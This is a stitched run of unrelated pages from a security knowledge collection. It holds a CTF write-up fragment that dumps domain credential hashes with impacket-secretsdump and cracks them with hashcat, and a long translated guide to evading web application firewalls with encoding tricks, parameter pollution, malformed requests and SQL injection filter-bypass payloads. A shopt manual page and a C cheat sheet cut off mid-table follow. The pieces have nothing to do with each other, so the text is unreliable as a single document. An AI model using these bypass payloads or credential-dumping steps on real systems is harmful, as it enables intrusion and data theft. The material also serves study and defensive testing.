ntds.dit 文件,而 ntds.dit 解密需要结合 SYSTEM 文件,所以 S 文件也确定了 使用 Impacket 的 secretsdump 模块进行解密 ```bash impacket-secretsdump -system S -ntds n LOCAL ``` 可以看到报错了, 结合 info 和 Impacket 报错提示, 这里要修复 S 文件, 将 uegf 改为 regf 010 编辑器打开 S 文件,进行修改 然后继续解密 ```bash impacket-secretsdump -system S1 -ntds n LOCAL ``` 这里需要使用 flag 用户的ntml hash 进行解密 解密后查看 hint.txt 通过上面的规则,参考 hash 掩码规则,进行爆破 ```bash hashcat -m 1000 hash.txt -a 3 ?u?l?d?l?l?l?l?lre ``` 得到 flag{8752f02b97c0d66dbacedd4185297724} --- # 创新组 ## blueshark binwalk 发现了一个 7z 的压缩包,直接当成压缩包打开,发现有个 password_is_Bluetooth_PIN.txt文件 Ctrl + F,选择 分组详情 或者 分组列表,字符串 或者 正则表达式,搜 pin。 PIN 就是 141854。 用来解压就可以得到 flag。 6da01c0a419b0b56ca8307fc9ab623eb
sec-knowleage
原文 by MayIKissYou PS: I’ve been thinking of concluding the pieces of knowledge for a long time. This time at the wooyun summit , I repeated the previous process again and finished this article, wishing that the contents I organized could bring enlightenments to the first party workers and white hats. ## 0x00 Overview As more attentions are placed on information security and its development is increasingly growing, a lot more security protection software appears. For instance: 1. Cloud waf;[Ali cloud shield, Baidu cloud acceleration, 360 website guardian and Jiasule] 2. Hardware waf from traditional AV vendors and existing ips or ids devices; [Xdown, Venus,SangFor, Anheng] 3. Host protection software, such as safedog and cloudlock; 4. Software waf, including modsecurity,nginx-lua-waf And of course, the popular sqlchop. We use WAF to represent the software for defending web attack, which is the leading star of the following parts. ## 0x01 Where is WAF? Here “WAF” represents the above software that I mentioned. We need to know where WAF is placed in the network space. From a request (`http://www.miku.com/1.php?id=1%20and1=1`) being sent by a user until the request is forwarded to the server, how many devices are involved during the process? In which layer does these devices work? Which devices are processing our application-layer data? This is a classic problem in data communication. By understanding the place that WAF locates at in the network space, could we clearly identify the knowledge we need to assist us in conducting WAF bypass. As shown in the figure below: ![waf1](../pictures/wafc1.png) I draw a simple topological graph. As shown in the figure, the places where our cloud waf, ips/ids hardware protection, hardware waf, host protection and applications locate are clearly demonstrated. ## 0x02 WAF Data Processing After knowing the topography of each protection software in network environment, it’s time to comprehend how the traffic of basic data and relevant devices are processed. Assuming the client visits url: `http://www.miku.com/1.php?id=1'and'1='1`, the requested data by this request is the record of ID 1 in the database of the server. Suppose this server uses related cloud waf. 1)In a complete process, DNS is firstly requested. Since DNS resolution will be modified during the configuration of the cloud waf. After we send the DNS request, the domain name will be resolved to the IP of the cloud waf. Before entering into the next step, DNS resolution will finish to get information on the domain name. 2)The HTTP protocol is an application-layer protocol and a tcp protocol. Therefore, it first operates TCP handshake for three times. The handshake detail will not be covered here, assuming it is done. 3)When a request is sent, the request has to go through the cloud waf, ips/ids hardware protection, hardware waf, server, web server, host protection software/software waf, web applications and database in sequence. Cloud waf, ips/ids hardware and hardware waf all have their own way to process data. I’m not good at the details of cloud waf and hardware waf, but know some about IPS hardware. Prior to getting HTTP data, TCP restructuring is performed, the purpose of which is to solve the disorder problem of packets during Internet data transmission. Then packets will go through protocol analysis to take those relevant values after the packets are restructured, such as http_method=GET, http_payload=xxx. These values represent the values of related rules in the IPS rule, being used to determine if the rule is matched or not. ## 0x03 Understanding WAF BYPASS In my own opinion, the so called BYPASS WAF is actually to find out the features of the hardware/software behind WAF equipments, which processes application-layer packets. Construct WAF to miss by leveraging its features, but also enable applications to successfully execute the payload and bypass the protection. Each feature is like a specific scene. Some are discovered by researchers, some remain unknown waiting to be found. If our applications meet every scene and WAF fails to cover these scenes, we would be able to use these features to bypass WAF. For example, if right now we need to bypass a cloud WAF/IPS/Hardware WAF, here we can use: 1. the Web server layer to bypass 2. the Web application layer to bypass 3. the database layer to bypass 4. the WAF layer to bypass Because there are many features can be used in every layer and WAF usually takes performance factor into consideration. Therefore WAF contains some weaknesses. The following concludes the features which are often used for bypass in detail. Ps.Got a clearer idea, right! = = ## 0x04 Bypass WAF Postures ### 1 Use the Web server layer to bypass Leverage the features of Web server to bypass WAF, popular combinations including asp+IIS, aspx+IIS, php+apache and java+tomcat etc. This section mainly is used for resolving http and other things, so here my understanding is to find the difference feature between WAF resolving http and real environment resolving http and use the difference feature to bypass WAF. PS.This part remains a lot to dig up and the discovered feature from this part can be lethal for WAF bypass. #### 1.1 IIS Server The program running on IIS usually is asp or aspx. Here are some features that we can use in IIS: **1 the % feature** In asp+iis environment, there is a feature that is special symbol %. When we type s%elect in this environment, the possible result resolved from WAF layer can be s%elect. But in iis+asp environment, the resolved result is select. This is the asp+iis environment built in local for test. The test result is as follows: ![waf2](../pictures/wafc2.png) Ps.Here I guess the problem occurs when asp.dll is resolved in iis, this feature doesn’t show up in aspx+iis environment. **2 the %u feature** The iis server supports resolving unicode, for instance we use unicode encode the character in select and get the following s%u006c%u0006ect. Such character will be converted to select after receiving IIS, but for WAF layer, the received content may still be s%u006c%u0006ect, which results a possible bypass. The asp+iis and aspx+iis environment we built: (1)asp+iis environment The test results are as shown in the figure : ![waf3](../pictures/wafc3.png) (2)aspx+iis environment The test results are as shown in the figure : ![waf4](../pictures/wafc4.png) **3 Another %u feature** PS. Note that as I conducted this feature test, aspx+iis environment was not supported, which requires experiment to verify. I doubt that the contents behind suffix is obtained through asp.net is api, which results different asp and aspx. In the above we mentioned that iis supports resolving the unicode format. This iis resolution has a feature. This vulnerability exploits the fact that after is resolution unicode will be converted to multibyte and during convert: multiple widechar could be converted to a same character. For instance, the e in select corresponds to the %u0065 in unicode, but %u00f0 will be converted to e as well. s%u0065lect->select s%u00f0lect->select It’s possible that the WAF layer can identify the form of s%u0065lect, but it can’t support the form of s%u00f0lect. By using this, we can bypass WAF. build asp+iis environment: asp+iis environment The test results are as shown in the figure : ![waf5](../pictures/wafc5.png) Ps.This exploit can only be used in limited situation, but the mining idea is worth it. #### 1.2 apache server **1 malform method** Some apache version when handling GET request, whatever the value of method, it will take out contents of the GET, for instance, if the requested method is DOTA2, the returned aid will still be 2. ![waf6](../pictures/wafc6.png) If some WAF when processing data fully follows GET and POST to obtain data, because apache’s requested method is too lax, it may result in bypass. ps.The test uses apache2.4.7. **2 php+apache malformed boundary** When Php resolves multiple data, it has its unique feature, which only takes the contents before the comma for the identification of boundary. For example, if we set boundary to aaaa,123456, php resolution only identifies aaaa, the rest contents remain untouched. However, others may take the whole string, like WAF resolution, this time bypass may be achievable. ![waf7](../pictures/wafc7.png) As shown in the above figure, it’s possible that war may obtain an image content and the value obtained from the web side is aid=2. Such discrepancy may result in bypass. ### 2 Use the Web application layer to bypass #### 2.1 double url encoding Double url encoding is to perform twice the urlencode operation on data sent by browser. For instance, if perform urlencode on s once, it’s %73, after another urlencode it becomes %25%37%33. Normally, when data go through WAF equipment, url decode will be performed only once, such decoded data typically won’t match rules, which reaches the same effect with bypass. Personally, I think double url encoding requires the data to be url decoded twice before being executed by program. If decoding is performed only once, the final result cannot be executed correctly. #### 2.2 Change Request Method 2.2.1 Change Request Method **1)GET,POST,COOKIE** In web environment, the situation of parameter obtain may be gathered. Its purpose is to filter the obtained parameters. For instance, I obtained a parameter `t=select 1 from 2` which can be obtained from the get parameter, post parameter or the cookie parameter. It’s typical dedecms. In previous tests, I have found that some war vendors filter get and post, but don’t filter cookie, but to directly change cookie parameters to submit payload, that is bypass. **2)urlencode and form-data** POST use two methods to submit data. The first is to use urlencode to submit , the second is to use form-data to submit. When we tested the site, we found the data that POST submitted was filtered out, this time you can use form-data to submit. We built an environment on the Ali cloud ecs host to create a page with sql inject vulnerability and get parameters from POST. First, I used urlencode to submit data, but the request was intercept. ![waf8](../pictures/wafc8.png) Then we used form-data to submit and found the version that would expose database. ![waf9](../pictures/wafc9.png) 2.2.2 malformed request method 1)asp/asp.net request resolution In asp and asp.net (http://asp.net/), request packets are the parameters often used to obtain the parameters that a user submits, for instance, when using request[‘’], some problems may appear. When using request[''] to get packets, sometime it’s hard to distinguish GET and POST. For example to construct a request packet, METHOD is GET, but the packet still contains contents and content-type of POST. We build an instance: We built an letmetest.aspx interface to get the contents that a user submits and print the contents of request['t']. [Safedog is installed on the server] First we submitted a normal POST request, then we found it was intercept by Safedog: ![waf10](../pictures/wafc10.png) At this moment, we submitted the malformed request, the method is GET, but the contents are the contents of POST. We found the printed contents. ![waf11](../pictures/wafc11.png) #### 2.3 hpp method HPP refers to HTTP parameter pollution, which looks like the following:?id=1&id=2&id=3. When using different web technology, this form can get different id value. Assume the submitted parameter is: id=1&id=2&id=3 Asp.net + iis:id=1,2,3 Asp + iis:id=1,2,3 Php + apache:id=3 By analysis to know: when WAF and WEB applications use different forms to obtain parameter, WAF bypass can be realized. Ps. The key part is to analyze how WAF handles the method to obtain parameters. Here what need to mention is that the use of hpp is very flexible, for example some cmc may base on the whitelist of url, therefore, hpp can be used to add whitelist directory at the place of parameter1 and add malicious payload at the place of parameter 2, the form is like index.php?a=[whitelist]&a=select 1 union select 2 ### 3 Use database layer to bypass Database layer bypass is to inject protection rules into the sql of bypass waf. We need to leverage the feature of this database against it, such as mysql and sqlserver etc. Recently, I am think of organize oracle, which is less researched, I will add this part later in the document. Ps.Currently, there are many features exposed from the database. It’s enough to just leverage these features in a comprehensive manner. So as to the understanding of features and whether if can use it flexibly, it’s up to you. #### 3.1 mysql database Today, mysql is the most used and researched database by researchers. For me, I often test the following filter point, because generally when bypass the select from, it’s able to obtain data by sql injection. common filter position 1:the position between parameter and union (1): the form of \Nunion: ![waf12](../pictures/wafc12.png) (2):the form of floating point, such as 1.1,8.0 ![waf13](../pictures/wafc13.png) (3):the form of 8e0: ![waf14](../pictures/wafc14.png) (4): use the form of /!50000/ ![waf15](../pictures/wafc15.png) 2:the position before union and select (1)white space the useful white space in Mysql:%09,%0a,%0b,%0c,%0d,%a0; (2)comment use blank comment the useful blank comment in MYSQL: `/**/ ` `/*letmetest*/` (3)use brackets ![waf16](../pictures/wafc16.png) 3:the position behind union select (1)white space the useful white space in Mysql:%09,%0a,%0b,%0c,%0d,%a0; (2)comment use blank comment the useful blank comment in MYSQL: `/**/` `/*letmetest*/` (3)other ways: [Note sometimes union select and select from are two rules, here is for union select.] brackets: select(1)from ![waf17](../pictures/wafc17.png) operative symbol: minus sign(-) ![waf18](../pictures/wafc18.png) plus sign(+) ![waf19](../pictures/wafc19.png) ~: ![waf20](../pictures/wafc20.png) !: ![waf21](../pictures/wafc21.png) @form ![waf22](../pictures/wafc22.png) use the form of /!50000*/ ![waf23](../pictures/wafc23.png) single and double quotation marks: ![waf24](../pictures/wafc24.png) { : ![waf25](../pictures/wafc25.png) \N symbol: ![waf26](../pictures/wafc26.png) 4:the position between select from (1)white space the useful white space in Mysql: %09,%0a,%0b,%0c,%0d,%a0; (2)comment use blank comment the useful blank comment in MYSQL: `/**/` `/letmetest/` (3)other symbols `` symbol ![waf27](../pictures/wafc27.png) +,-,!,~,'," ![waf28](../pictures/wafc28.png) ![waf29](../pictures/wafc29.png) { ![waf30](../pictures/wafc30.png) ( ![waf31](../pictures/wafc31.png) 5:position behind select from (1)white space the useful white space in Mysql: %09,%0a,%0b,%0c,%0d,%a0; (2)comment use blank comment the useful blank comment in MYSQL: `/**/` `/letmetest/` (3)other symbols `` ![waf32](../pictures/wafc32.png) ![waf33](../pictures/wafc33.png) { ![waf34](../pictures/wafc34.png) ( ![waf35](../pictures/wafc35.png) Ps. white space, comment character, /!50000select*/, {x version} and () can be used in many points, for some special ones, other symbols can be put to use. 6:common filter functions (1)SUBSTR ``` Mid(version(),1,1) Substr(version(),1,1) Substring(version(),1,1) Lpad(version(),1,1) Rpad(version(),1,1) Left(version(),1) reverse(right(reverse(version()),1) ``` (2)concat ``` concat(version(),'|',user()); concat_ws('|',1,2,3) ``` (3)character conversion Ascii(1) This function is filtered out in a test of a cloud waf, then it needs to use ascii (1). ``` Char(49) Hex('a') Unhex(61) ``` 7:filter comma (1)the comma at limit: limit 1 offset 0 (2)the comma at SUBSTR the comma at mid mid(version() from 1 for 1) (3)the comma at union: concat through join. ![waf36](../pictures/wafc36.png) #### 3.2 sqlserver database 1:common filter position (1) the position behind select from white space: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 Need to do urlencode,there are lots of white spaces in sqlserver, it’s not adequate to use black list for block. Comment Symbol Mssql can also use comment symbol `/**/` (2)other symbols "." ![waf37](../pictures/wafc37.png) ":" ![waf38](../pictures/wafc38.png) Comment Symbol Mssql can also use comment symbol `/**/` ":" ![waf39](../pictures/wafc39.png) (3) the position behind and white space: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 comment symbol Mssql can also use comment symbol /**/ ":" ![waf40](../pictures/wafc40.png) %2b ![waf41](../pictures/wafc41.png) 2:common filter functions (1)SUBSTR Substring(@@version,1,1) Left(@@version,1) Right(@@version,1) (2) String-Translation Functions Ascii(‘a’) Here the function can add space between the brackets, some loose waf filter can cause bypass. Char(‘97’) (3) other ways Mssql supports multi-statement queries so it can be used; end the above query, and then perform the own statements that you constructed. Dynamic execution. use exec: ![waf42](../pictures/wafc42.png) use sp_executesql: ![waf43](../pictures/wafc43.png) Use these to combine your parameters and can bypass WAF protection. Using these features and the above mentioned features can bypass the injection protection of safedog. ### 4 Use WAF layer to bypass 1 performance bypass In WAF design, performance will usually be considered. For example, if it’s based on data packets, the packet length will be considered; if it’s based on data flow, the number if a data flow will be checked. Normally they are sort of a check for performance and meanwhile to keep WAF work smoothly, often it will make a bypass design. In performance if the CPU usage is above 80 or memory usage is higher than 80%, it will do check bypass, to ensure the equipment operates smoothly. Equipments like WAF all week on application layer, HTTP, FTP, SMTP are all protocols on application layer. When such data is handled, data and protocol need to be parsed to eventually get application layered data. For instance, what is HTTP method, HTTP querystring or HTTP requestbody. Then match these values obtain in real time with the rules design by WAF. If it matches with a rule, then corresponding handle will be made. (1) performance check bypass ![waf44](../pictures/wafc44.png) Now the question is how long does it take to check? For example, if I upload a 2G file by HTTP POST, it definitely will occupy CPU and memory usage when checking the entire 2G file. Therefore, a default value may be set in WAF design, which can be the default number of bytes of a flow size or the number of packets. That’s to design a script and constantly populate data into HTTP POST. When data reaches a certain number, the sql inject malicious code in POST will not be checked and realize the purpose of bypass. When testing a cloud WAF, this method is also applicable to achieve the aim to bypass. (2) performance load bypass ![waf45](../pictures/wafc45.png) Some traditional vendors choose to bypass the protection function when performance load is heavy, in case that high performance load like delays, affects user experience. When equipment’s performance load is lower than the threshold value, the protection function will recover. This method may not apply to a certain of WAF with high performance, but it applies to some software WAF. Ps.The author tested the following: the author built a payload and added a lot of invalid data to it, so the script failed to send the request, then some of the request went through the WAF, some were blocked. The possible cause of bypass is performance issue. 2 fuzz bypass ![waf46](../pictures/wafc46.png) Use script to detect if WAF equipment has issue in handling with characters, as mentioned above WAF will resolve corresponding data packets when receiving network data. Some WAF may cause issues when resolving some characters, causing universal bypass. Here are some places that we often test: 1):the place that get requests for 2):the place that header requests for 3):the place holding post urlencode contents 4):the places holding post form-data contents The basic contents that fuzz test on 1)encoded 0-255 character 2)encoding 0-255 character 3)utf gbk character Once in a test for safedog, the data is submitted by using post. The submitted data includes two parameters, one of which is normal fuzz point, the other parameter contains a sql injection statement. In the test of the previous fuzz point, when handling character at \x00, safedog doesn’t block. It is the issue of dealing with the character that leads to bypass. Once in a test for cloud WAF, the data is submitted by using get. The submitted content includes a parameter which is character+sql injection statement. In the test of the fuzz point, when cloud WAF handle the & character, it doesn’t block. Because of the speciality of & character, I guess It is the & character in url request is not handled well that leads to bypass. Since && in mysql can also represent and, therefore a combination of sql statement can achieve the purpose of bypass. Ps.The above fuzz test only tests the single character at each location, there should be more complex tests. WAF is not as perfect as expected, there are other places with issues to fuzz. 3 whitelist bypass ![waf47](../pictures/wafc47.png) In WAF design, whitelist is always considered. For example,manage access of IP and can server. Such requests are trusted, don’t have to go through detection procedure. If the IP addresses of the Whitelist are from network layer, bypass is hard to realize. If whitelist is based on the data from application layer, bypass is achievable. This article talks about bypass war by modifying the header of http, here are the contents from the article: ![waf48](../pictures/wafc48.png) These headers are usually used to obtain IP addresses and others, like nginx-lua-waf: ![waf49](../pictures/wafc49.png) Obtain clientip by using the header of X-Real-ip. This method can also bypass scenarios such as login locked Ip, login captcha several times and background verification. ## 0x05 Closing Thoughts Each feature is like a specific scene. Some are discovered by researchers, some remain unknown waiting to be found. As all features are disclosed, the protection ability of WAF will surly be developed against web attack. In my view, when all feature scenarios are covered by WAF, there will be new discoveries rising.(If we know current mysql scenario ) So we don’t have worry if all features are covered by WAF and we’ll have no ammunition left. There are so many unknown features waiting to dig up. When you find all there postures can’t function well, it’s time to discover new features. After all WAF designers all continue their design by current perception. As new features arise, another round of bypass will come. ## Reference https://medium.com/secjuice/waf-evasion-techniques-718026d693d8 https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
sec-knowleage
shopt === 显示和设置shell操作选项 ## 补充说明 **shopt命令** 用于显示和设置shell中的行为选项,通过这些选项以增强shell易用性。shopt命令若不带任何参数选项,则可以显示所有可以设置的shell操作选项。 ### 语法 ```shell shopt(选项)(参数) ``` ### 选项 ```shell -s:激活指定的shell行为选项; -u:关闭指定的shell行为选项。 ``` ### 参数 shell选项:指定要操作的shell选项。 ### 实例 使用shopt命令显示当前所有可以设置的shell操作选项,输入如下命令: ```shell shopt #输出所有可以设置的shell操作选项 cdable_vars off cdspell off checkhash off checkwinsize on cmdhist on dotglob off execfail off expand_aliases on extdebug off ... ``` 如图上所示,选项"cdspell"的状态为"off",即关闭cd拼写检查选项。现在,可以使用shopt命令将其开启,输入如下命令: ```shell shopt -s cdspell #开启cd拼写检查 ``` 执行上面的命令后,该选项的状态将变为"on",即开启状态。可以再次通过该命令显示一下shell操作选项即可,输出信息如下: ```shell cdspell on #开启cdspell选项 ``` 用户可以通过实际执行cd命令检查该选项是否被成功开启。
sec-knowleage
--- title: C date: 2022-12-30 09:51:44 background: bg-[#2a338a] tags: categories: - Programming intro: | C quick reference cheat sheet that provides basic syntax and methods. plugins: - copyCode --- Getting Started ---- ### hello.c {.row-span-2} ```c #include <stdio.h> int main(void) { printf("Hello World!\n"); return 0; } ``` Compile `hello.c` file with `gcc` ```bash $ gcc hello.c -o hello ``` Run the compiled binary `hello` ```bash $ ./hello ``` Output => Hello World! ### Variables {.row-span-2} ```c int myNum = 15; int myNum2; // do not assign, then assign myNum2 = 15; int myNum3 = 15; // myNum3 is 15 myNum3 = 10; // myNum3 is now 10 float myFloat = 5.99; // floating point number char myLetter = 'D'; // character int x = 5; int y = 6; int sum = x + y; // add variables to sum // declare multiple variables int x = 5, y = 6, z = 50; ``` ### Constants ```c const int minutesPerHour = 60; const float PI = 3.14; ``` Best Practices ```c const int BIRTHYEAR = 1980; ``` ### Comment ```c // this is a comment printf("Hello World!"); // Can comment anywhere in file /*Multi-line comment, print Hello World! to the screen, it's awesome */ ``` ### Print text ```c printf("I am learning C."); int testInteger = 5; printf("Number = %d", testInteger); float f = 5.99; // floating point number printf("Value = %f", f); short a = 0b1010110; // binary number int b = 02713; // octal number long c = 0X1DAB83; // hexadecimal number // output in octal form printf("a=%ho, b=%o, c=%lo\n", a, b, c); // output => a=126, b=2713, c=7325603 // Output in decimal form printf("a=%hd, b=%d, c=%ld\n", a, b, c); // output => a=86, b=1483, c=1944451 // output in hexadecimal form (letter lowercase) printf("a=%hx, b=%x, c=%lx\n", a, b, c); // output => a=56, b=5cb, c=1dab83 // Output in hexadecimal (capital letters) printf("a=%hX, b=%X, c=%lX\n", a, b, c); // output => a=56, b=5CB, c=1DAB83 ``` ### Control the number of spaces ```c int a1 = 20, a2 = 345, a3 = 700; int b1 = 56720, b2 = 9999, b3 = 20098; int c1 = 233, c2 = 205, c3 = 1; int d1 = 34, d2 = 0, d3 = 23; printf("%-9d %-9d %-9d\n", a1, a2, a3); printf("%-9d %-9d %-9d\n", b1, b2, b3); printf("%-9d %-9d %-9d\n", c1, c2, c3); printf("%-9d %-9d %-9d\n", d1, d2, d3); ``` output result ```bash 20 345 700 56720 9999 20098 233 205 1 34 0 23 ``` In `%-9d`, `d` means to output in `10` base, `9` means to occupy at least `9` characters width, and the width is not enough to fill with spaces, `-` means left alignment ### Strings ```c char greetings[] = "Hello World!"; printf("%s", greetings); ``` access string ```c char greetings[] = "Hello World!"; printf("%c", greetings[0]); ``` modify string ```c char greetings[] = "Hello World!"; greetings[0] = 'J'; printf("%s", greetings); // prints "Jello World!" ``` Another way to create a string ```c char greetings[] = {'H','e','l','l','\0'}; printf("%s", greetings); // print "Hell!" ``` Creating String using character pointer (String Literals) ```c char *greetings = "Hello"; printf("%s", greetings); // print "Hello!" ``` **NOTE**: String literals might be stored in read-only section of memory. Modifying a string literal invokes undefined behavior. You can't modify it.! `C` **does not** have a String type, use `char` type and create an `array` of characters ### Condition {.row-span-2} ```c int time = 20; if (time < 18) { printf("Goodbye!"); } else { printf("Good evening!"); } // Output -> "Good evening!" int time = 22; if (time < 10) { printf("Good morning!"); } else if (time < 20) { printf("Goodbye!"); } else { printf("Good evening!"); } // Output -> "Good evening!" ``` ### Ternary operator {.col-span-2} ```c int age = 20; (age > 19) ? printf("Adult") : printf("Teenager"); ``` ### Switch ```c int day = 4; switch (day) { case 3: printf("Wednesday"); break; case 4: printf("Thursday"); break; default: printf("Weekend!"); } // output -> "Thursday" (day 4) ``` ### While Loop ```c int i = 0; while (i < 5) { printf("%d\n", i); i++; } ``` **NOTE**: Don't forget to increment the variable used in the condition, otherwise the loop will never end and become an "infinite loop"! ### Do/While Loop ```c int i = 0; do { printf("%d\n", i); i++; } while (i < 5); ``` ### For Loop ```c for (int i = 0; i < 5; i++) { printf("%d\n", i); } ``` ### Break out of the loop Break/Continue {.row-span-2} ```c for (int i = 0; i < 10; i++) { if (i == 4) { break; } printf("%d\n", i); } ``` break out of the loop when `i` is equal to `4` ```c for (int i = 0; i < 10; i++) { if (i == 4) { continue; } printf("%d\n", i); } ``` Example to skip the value of `4` ### While Break Example ```c int i = 0; while (i < 10) { if (i == 4) { break; } printf("%d\n", i); i++; } ``` ### While continue example ```c int i = 0; while (i < 10) { i++; if (i == 4) { continue; } printf("%d\n", i); } ``` ### Arrays {.row-span-2} ```c int myNumbers[] = {25, 50, 75, 100}; printf("%d", myNumbers[0]); // output 25 ``` change array elements ```c int myNumbers[] = {25, 50, 75, 100}; myNumbers[0] = 33; printf("%d", myNumbers[0]); ``` Loop through the array ```c int myNumbers[] = {25, 50, 75, 100}; int i; for (i = 0; i < 4; i++) { printf("%d\n", myNumbers[i]); } ``` set array size ```c // Declare an array of four integers: int myNumbers[4]; // add element myNumbers[0] = 25; myNumbers[1] = 50; myNumbers[2] = 75; myNumbers[3] = 100; ``` ### Enumeration Enum {.col-span-2} ```c enum week { Mon = 1, Tues, Wed, Thurs, Fri, Sat, Sun }; ``` define enum variable ```c enum week a, b, c; enum week { Mon = 1, Tues, Wed, Thurs, Fri, Sat, Sun } a, b, c; ``` With an enumeration variable, you can assign the value in the list to it ```c enum week { Mon = 1, Tues, Wed, Thurs, Fri, Sat, Sun }; enum week a = Mon, b = Wed, c = Sat; // or enum week{ Mon = 1, Tues, Wed, Thurs, Fri, Sat, Sun } a = Mon, b = Wed, c = Sat; ``` ### Enumerate sample applications ```c enum week {Mon = 1, Tues, Wed, Thurs} day; scanf("%d", &day); switch(day) { case Mon: puts("Monday"); break; case Tues: puts("Tuesday"); break; case Wed: puts("Wednesday"); break; case Thursday: puts("Thursday"); break; default: puts("Error!"); } ``` ### User input ```c // Create an integer variable to store the number we got from the user int myNum; // Ask the user to enter a number printf("Please enter a number: \n"); // Get and save the number entered by the user scanf("%d", &myNum); // Output the number entered by the user printf("The number you entered: %d", myNum); ``` ### User input string ```c // create a string char firstName[30]; // Ask the user to enter some text printf("Enter your name: \n"); // get and save the text scanf("%s", &firstName); // output text printf("Hello %s.", firstName); ``` ### memory address When a variable is created, it is assigned a memory address ```c int myAge = 43; printf("%p", &myAge); // Output: 0x7ffe5367e044 ``` To access it, use the reference operator (`&`) ### create pointer ```c int myAge = 43; // an int variable printf("%d", myAge); // output the value of myAge(43) // Output the memory address of myAge (0x7ffe5367e044) printf("%p", &myAge); ``` ### pointer variable {.col-span-2} ```c int myAge = 43; // an int variable int*ptr = &myAge; // pointer variable named ptr, used to store the address of myAge printf("%d\n", myAge); // print the value of myAge (43) printf("%p\n", \&myAge); // output the memory address of myAge (0x7ffe5367e044) printf("%p\n", ptr); // use the pointer (0x7ffe5367e044) to output the memory address of myAge ``` ### Dereference ```c int myAge = 43; // variable declaration int*ptr = &myAge; // pointer declaration // Reference: output myAge with a pointer // memory address (0x7ffe5367e044) printf("%p\n", ptr); // dereference: output the value of myAge with a pointer (43) printf("%d\n", *ptr); ``` Operators --- ### Arithmetic Operators ```c int myNum = 100 + 50; int sum1 = 100 + 50; // 150 (100 + 50) int sum2 = sum1 + 250; // 400 (150 + 250) int sum3 = sum2 + sum2; // 800 (400 + 400) ``` ---- | Operator | Name | Example | |----------|-----------|---------| | `+` | Add | `x + y` | | `-` | Subtract | `x - y` | | `*` | Multiply | `x * y` | | `/` | Divide | `x / y` | | `%` | Modulo | `x % y` | | `++` | Increment | `++x` | | `--` | Decrement | `--x` | ### Assignment operator | example | as | |-----------|----------------| | x `=` 5 | x `=` 5 | | x `+=` 3 | x `=` x `+` 3 | | x `-=` 3 | x `=` x `-` 3 | | x `*=` 3 | x `=` x `*` 3 | | x `/=` 3 | x `=` x `/` 3 | | x `%=` 3 | x `=` x `%` 3 | | x `&=` 3 | x `=` x `&` 3 | | x `|=` 3 | x `=` x `|` 3 | | x `^=` 3 | x `=` x `^` 3 | | x `>>=` 3 | x `=` x `>>` 3 | | x `<<=` 3 | x `=` x `<<` 3 | ### Comparison Operators ```c int x = 5; int y = 3; printf("%d", x > y); // returns 1 (true) because 5 is greater than 3 ``` ---- | Symbol | Name | Example | | --------| -------| -------| | `==` | equals | x `==` y | | `!=` | not equal to | x `!=` y | | `>` | greater than | x `>` y | | `<` | less than | x `<` y | | `>=` | greater than or equal to | x `>=` y | | `<=` | less than or equal to | x `<=` y | Comparison operators are used to compare two values ### Logical Operators {.col-span-2} | Symbol | Name | Description | Example | | --------| --------| --------| --------| | `&&` | `and` logical | returns true if both statements are true | `x < 5 && x < 10` | | `||` | `or` logical | returns true if one of the statements is true | `x < 5 || x < 4` | | `!` | `not` logical | Invert result, return false if true | `!(x < 5 && x < 10)` | ### Operator Examples {.row-span-2} ```c unsigned int a = 60; /*60 = 0011 1100 */ unsigned int b = 13; /*13 = 0000 1101 */ int c = 0; c = a & b; /*12 = 0000 1100 */ printf("Line 1 -the value of c is %d\n", c); c = a | b; /*61 = 0011 1101 */ printf("Line 2 -the value of c is %d\n", c); c = a ^ b; /*49 = 0011 0001 */ printf("Line 3 -the value of c is %d\n", c); c = ~a; /*-61 = 1100 0011 */ printf("Line 4 -The value of c is %d\n", c); c = a << 2; /*240 = 1111 0000 */ printf("Line 5 -the value of c is %d\n", c); c = a >> 2; /*15 = 0000 1111 */ printf("Line 6 -The value of c is %d\n", c); ``` ### Bitwise operators {.col-span-2} operator | description | instance :-|:-|:- `&` | Bitwise AND operation, "AND" operation by binary digits | `(A & B)` will get `12` which is 0000 1100 `|` | Bitwise OR operator, "or" operation by binary digit | `(A | B)` will get `61` which is 0011 1101 `^` | XOR operator, perform "XOR" operation by binary digits | `(A ^ B)` will get `49` which is 0011 0001 `~` | Inversion operator, perform "inversion" operation by binary bit | `(~A)` will get `-61` which is 1100 0011 `<<` | binary left shift operator | `A << 2` will get `240` which is 1111 0000 `>>` | binary right shift operator | `A >> 2` will get `15` which is 0000 1111 Data Types --- ### Basic data types {.col-span-2} | Data Type | Size Size | Range Range | Description Description | | -----| -----| -----| -----| | `char` | 1 byte | `−128` ~ `127` | single character/alphanumeric/ASCII | | `signed char` | 1 byte | `−128` ~ `127` | -| | `unsigned char` | 1 byte | `0` ~ `255` | -| | `int` | `2` to `4` bytes | `−32,768` ~ `32,767` | store integers | | `signed int` | 2 bytes | `−32,768` ~ `32,767` | | | `unsigned int` | 2 bytes | `0` ~ `65,535` | | | `short int` | 2 bytes | `−32,768` ~ `32,767` | | | `signed short int` | 2 bytes | `−32,768` ~ `32,767` | | | `unsigned short int` | 2 bytes | `0` ~ `65,535` | | | `long int` | 4 bytes | `-2,147,483,648` ~ `2,147,483,647` | | | `signed long int` | 4 bytes | `-2,147,483,648` ~ `2,147,483,647` | | | `unsigned long int` | 4 bytes | `0` ~ `4,294,967,295` | | | `float` | 4 bytes | `3.4E-38` ~ `3.4E+38` | | | `double` | 8 bytes | `1.7E-308` ~ `1.7E+308` | | | `long double` | 10 bytes | `3.4E-4932` ~ `1.1E+4932` | | ### Data types ```c // create variables int myNum = 5; // integer float myFloatNum = 5.99; // floating point number char myLetter = 'D'; // string // High precision floating point data or numbers double myDouble = 3.2325467; // print output variables printf("%d\n", myNum); printf("%f\n", myFloatNum); printf("%c\n", myLetter); printf("%lf\n", myDouble); ``` ---- Data Type | Description :-| :- `char` | character type `short` | short integer `int` | integer type `long` | long integer `float` | single-precision floating-point type `double` | double-precision floating-point type `void` | no type ### Basic format specifiers | format specifier | data type | | -----| -----| | `%d` or `%i` | `int` integer | | `%f` | `float` single-precision decimal type | | `%lf` | `double` high precision floating point data or number | | `%c` | `char` character | | `%s` | for `strings` strings | ### Basic format specifiers | | short | int | long | | ----| ----| ----| ----| | Octal | `%ho` | `%o` | `%lo` | | Decimal | `%hd` | `%d` 